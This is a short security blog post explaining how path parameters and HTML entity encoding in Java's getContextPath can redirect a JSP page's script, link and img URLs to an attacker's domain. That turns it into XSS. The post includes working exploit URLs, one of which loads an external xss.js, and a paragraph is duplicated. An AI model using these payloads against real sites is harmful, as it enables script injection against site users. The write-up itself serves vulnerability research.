This post is about how to manipulate resource links of HTML elements (script, img, link, etc) when getContextPath method is used to obtain base path of resources. With the ability to manipulate links you can do XSS, CSS Injection, etc.
Basically we are going to use path parameters to manipulate context path such that links would point to attacker's domain. There's a good blog that talk about the similar issues : https://superevr.com/blog/2011/three-semicolon-vulnerabilities
However this post is more about manipulating context path to hijack resource links of HTML elements. So let's have a look at a simple JSP page (test.jsp)
Basically we are going to use path parameters to manipulate context path such that links would point to attacker's domain. There's a good blog that talk about the similar issues : https://superevr.com/blog/2011/three-semicolon-vulnerabilities
However this post is more about manipulating context path to hijack resource links of HTML elements. So let's have a look at a simple JSP page (test.jsp)
Ref : https://www.roseindia.net/jsp/request-getcontextpath.shtml |
What can we do here?
Let's try to control the base path by using path parameters :
http://127.0.0.1:8080/;pathParameter/contextPathExample/test.jsp
As you could see we are able to have a little control over the base path (of links) but it's not really useful right now unless we could manipulate the domain of links.
Now you might be thinking if we could break out of double quotes and inject new tag as :
http://127.0.0.1:8080/;pathParameter"><svg onload=alert()>/contextPathExample/test.jsp
Unfortunately it won't work because the characters like <,>," gets URL encoded as you can see below.
So what can we do?
As we can't inject HTML code so our goal now is to find a way to manipulate domain of links.
Everyone knows that we can provide resource URLs without protocol also, for example <img src=//example.com/1.jpeg> , here browser will take the protocol from the page URL and consider example.com as domain and try to fetch the 1.jpeg from example.com domain. Let's try to do the same :
http://127.0.0.1:8080//;@exampl.com/contextPathExample/test.jsp
Looks like additional forward slashes gets removed. If we try with backward slashes then server throws error. So this idea also failed.
But here's one interesting thing about getContextPath method, it does not URL encode the "&" character. So we can simply encode forward slash character in HTML character entity as / and then we can manipulate the domain of links as :
http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp
Here src, action, etc are the attributes and browser decodes the value (HTML Entities) from attributes automatically before fetching the link hence / becomes / and # becomes # and final link becomes : //rakeshmane.com/xss.js.
And boom!
We hijacked all the links of all HTML elements like script, link, form, img, etc. Just for example we injected "xss.js" file in script element's source and we got easy XSS.
That's it.
Nice Trick! <3
ReplyDelete